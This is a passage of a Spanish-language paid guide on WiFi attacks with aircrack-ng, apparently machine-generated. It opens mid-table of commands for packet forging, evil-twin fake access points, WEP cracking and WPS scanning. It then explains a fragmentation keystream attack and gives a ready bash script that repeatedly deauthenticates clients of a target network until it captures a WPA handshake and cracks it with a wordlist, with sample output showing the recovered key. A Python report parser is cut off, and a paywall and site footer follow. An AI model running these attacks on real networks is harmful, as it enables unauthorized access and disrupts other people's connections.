captura-01.cap | Descifrar tráfico capturado | -e <ESSID> -p <pass> <captura> | | 13 | airdecloak-ng --bssid AA:BB:CC:DD:EE:FF --filters signal -i captura-01.cap | Eliminar paquetes cloakeados | --bssid <MAC> --filters <type> -i <input> | | 14 | packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 -k 255.255.255.255 -l 255.255.255.255 -y fragmento.xor -w forged.cap | Forjar paquete de deauth usando PRGA | -0 -a <AP> -c <client> -k <dst IP> -l <src IP> -y <xor file> -w <out> | | 15 | airtun-ng -a AA:BB:CC:DD:EE:FF -e "MiWiFi" -p pass123 wlan0mon | Crear interfaz tun virtual sobre WiFi | -a <BSSID> -e <ESSID> -p <pass> <iface> | | 16 | airbase-ng -e "FreeWiFi" -c 6 wlan0mon | Crear AP falso (evil twin) | -e <ESSID> -c <channel> <iface> | | 17 | aircrack-ng -K captura-01.cap | Ataque KoreK sin diccionario (WEP) | -K <captura> | | 18 | airolib-ng test.db --import essid MiWiFi | Crear base de datos de ESSID/passwords | --import essid <name> | | 19 | aircrack-ng -r test.db captura-01.cap | Usar airolib-ng para crackear | -r <db> <captura> | | 20 | wash -i wlan0mon | Escanear redes WPS vulnerables | -i <iface> |

Ejemplo de salida real de airodump-ng focalizado:

CH 6 ][ Elapsed: 2 mins ][ 2025-03-15 14:22 ][ WPA handshake: AA:BB:CC:DD:EE:FF

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:BB:CC:DD:EE:FF -34 120 450 0 6 130 WPA2 CCMP PSK Oficina-Corp

BSSID STATION PWR Rate Lost Frames Probe

AA:BB:CC:DD:EE:FF 11:22:33:44:55:66 -28 0 - 1 0 120

Cuando veas WPA handshake: AA:BB:CC:DD:EE:FF en la cabecera, tienes el material para crackear. Sin ese handshake, aircrack-ng no podrá validar la contraseña.

Profundizando en aireplay-ng -2 (fragmentación): Este ataque fuerza al AP a revelar el keystream (PRGA) enviando un paquete fragmentado y capturando la respuesta cifrada. Requiere un cliente asociado. El comando completo con explicación de cada flag:

aireplay-ng -2 -b AA:BB:CC:DD:EE:FF -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 128 -t 0 wlan0mon
  • -2: modo fragmentación.
  • -b: BSSID del AP objetivo.
  • -d: dirección destino (broadcast para forzar respuesta).
  • -f 1: tamaño del fragmento (1 byte para forzar XOR reveal).
  • -m 68: longitud mínima del paquete a capturar.
  • -n 128: longitud máxima.
  • -t 0: timeout entre intentos (0 = rápido).

Salida exitosa:

Read 128 packets...
Got RELAYED packet!!
Saving keystream in fragment-0124-161234.xor
Now you can build a packet with packetforge-ng.

Ese archivo .xor es el santo grial: con él puedes forjar paquetes de deauth o inyectar tráfico sin necesidad de cliente.

2.2 Automatización con Scripts

En entornos profesionales, la repetición manual es ineficiente. Automatiza la captura de handshakes y el cracking con scripts robustos.

Bash: Captura automática de handshake WPA y crackeo

#!/bin/bash
## auto_wpa_crack.sh - Automatiza captura y crackeo WPA
## Uso: ./auto_wpa_crack.sh wlan0mon Canal BSSID Wordlist

IFACE=$1
CH=$2
BSSID=$3
WORDLIST=$4
PREFIX="captura_$(date +%Y%m%d_%H%M%S)"

if [[ -z "$IFACE" || -z "$CH" || -z "$BSSID" || -z "$WORDLIST" ]]; then
echo "Uso: $0 <iface_mon> <canal> <bssid> <wordlist>"
exit 1
fi

## Matar procesos que interfieran
airmon-ng check kill &>/dev/null
sleep 2

## Iniciar captura focalizada en background
airodump-ng -c $CH --bssid $BSSID -w $PREFIX $IFACE &>/dev/null &
DUMP_PID=$!
echo "[*] Airodump-ng PID: $DUMP_PID. Esperando handshake..."

## Bucle de deauth cada 10 segundos hasta obtener handshake
while true; do
aireplay-ng -0 5 -a $BSSID $IFACE &>/dev/null
sleep 10
    # Verificar si existe handshake en el archivo .cap
if aircrack-ng -w /dev/null ${PREFIX}-01.cap 2>&1 | grep -q "1 handshake"; then
echo "[+] ¡Handshake capturado!"
kill $DUMP_PID
break
fi
done

## Crackear con aircrack-ng
echo "[*] Iniciando crackeo con $WORDLIST..."
aircrack-ng -w $WORDLIST -b $BSSID ${PREFIX}-01.cap

Ejemplo de ejecución real:

$ sudo ./auto_wpa_crack.sh wlan0mon 6 AA:BB:CC:DD:EE:FF rockyou.txt
[*] Airodump-ng PID: 12345. Esperando handshake...
[+] ¡Handshake capturado!
[*] Iniciando crackeo con rockyou.txt...

Aircrack-ng 1.7

[00:00:03] 23456/14344392 keys tested (1234.56 k/s)

Current passphrase: iloveyou123

Master Key : AB CD EF 01 23 45 67 89 AB CD EF 01 23 45 67 89
Transient Key : 01 23 45 67 89 AB CD EF 01 23 45 67 89 AB CD EF
EAPOL HMAC : 12 34 56 78 90 AB CD EF 12 34 56 78 90 AB CD EF

KEY FOUND! [ iloveyou123 ]

Python: Parseo de CSV de airodump-ng y generación de reporte

#!/usr/bin/env python3
"""
parse_airodump.py - Extrae APs y clientes de CSV de airodump-ng y genera reporte HTML.
Uso: python3 parse_airodump.py captura-01.csv
"""
import csv
import sys
from datetime import datetime

def parse_ap_line(row):
return {
'BSSID': row[0].strip(),
'First seen': row[1].strip(),
'Last seen': row[2].strip(),
'channel': row[3].strip(),
'Speed': row[4].strip(),
'Privacy': row[5].strip(),
'Cipher': row[6].strip(),
'Authentication': row[7].strip(),
'Power': row[8].strip(),
'beacons': row[9].strip(),
'IVs': row[10].strip(),
'LAN IP': row[11].strip(),
'ID-length': row[12].strip(),
'ESSID': row[13].strip(),
'Key': row[14].strip()
}

def parse_client_line(row):
return {
'Station MAC': row[0].strip(),
'First seen': row[1].strip(),
'Last seen': row[2].strip(),
'Power': row[3].strip(),
'packets': row[4].strip(),
'BSSID': row[5].strip(),
'Probed ESSIDs': row[6].strip()
}

def generate_html(aps, clients):
html = f"""<html><head><title>Reporte WiFi {datetime.now()}</title>
<style>table {{border-collapse: collapse;}} th, td {{border:1px solid #ccc; padding:5px;}}</style>
</head><body>
<h1>APs Detectados</h1>
<table><tr><th>BSSID</th><th>Canal</th><th>ESSID</th><th>Enc</th><th>Potencia</th></tr>"""
for ap in aps:
html += f"<tr><td>{ap['BSSID']}</td><td>{ap['channel']}</td><td>{ap['ESSID']}</td><td>{ap['Privacy']}</td><td>{ap['Power']}</td></tr>"
html += "</table><h1>Clientes</h1><table><tr><th>MAC</th><th>AP Asociado</th><th>Potencia</th><th>Probes</th></tr>"
for cl in clients:
html += f"<tr><td>{cl['Station MAC']}</td><td>{cl['BSSID']}</td><td>{cl['Power']}</td><td>{cl['Probed ESSIDs']}</td></tr>"
html += "</table></body></html>"
return html

if __name__ == '__main__':
if len(sys.argv) < 2:
print("Uso: python3 parse_airodump.py <archivo.csv>")
sys.exit(1)
aps = []
clients = []
with open(sys.argv[1], 'r') as f:
reader = csv.reader(f)
mode = None
for row in reader:
if len(row) == 0: continue
if row[0].startswith('BSSID'):
mode = 'ap'
continue
elif row[0].startswith('Station MAC'):
mode = 'client'
continue
if mode == 'ap' and len(row) >= 15:
aps.append(

---

## 🔒 Aircrack-ng: Seguridad en Redes WiFi — Guía Premium de Maestría



---

## 💎 Contenido Premium

Los siguientes capítulos están disponibles en la versión completa:

- Capítulo 3: Análisis de Casos Reales
- Capítulo 4: Ejercicios Prácticos Guiados
- Capítulo 5: Troubleshooting y FAQs
- Capítulo 6: Recursos y Certificaciones
- Scripts completos y plantillas
- Soporte técnico incluido

[ Desbloquear Contenido Completo](https://viciousbyte.com/checkout)
Contenido bloqueado

Compra esta guía para acceder al contenido completo

Herramientas
Aircrack-ng
airodump-ng
aireplay-ng
Hashcat
Wireshark
Estadísticas

Compras

0

Duración

10-14 horas de lectura práctica

Nivel

Intermedio - Avanzado

Autor

guide-generator-worker

Versión 1.0
viciousbyte
viciousbyte

Transformamos ideas en soluciones tecnológicas innovadoras. Especializados en desarrollo de software, facturación electrónica y sistemas de seguridad.

Cotizar Proyecto

Empresa

NosotrosServiciosSuscripcionesEcosistemaBlogContacto

Servicios

Facturación ElectrónicaValidación de FacturasSuite OSINTTranscripción de AudioTrading Algorítmico

Soporte

Centro de AyudaFAQContacto Técnico

© 2026 viciousbyte. Todos los derechos reservados. · Aviso de Privacidad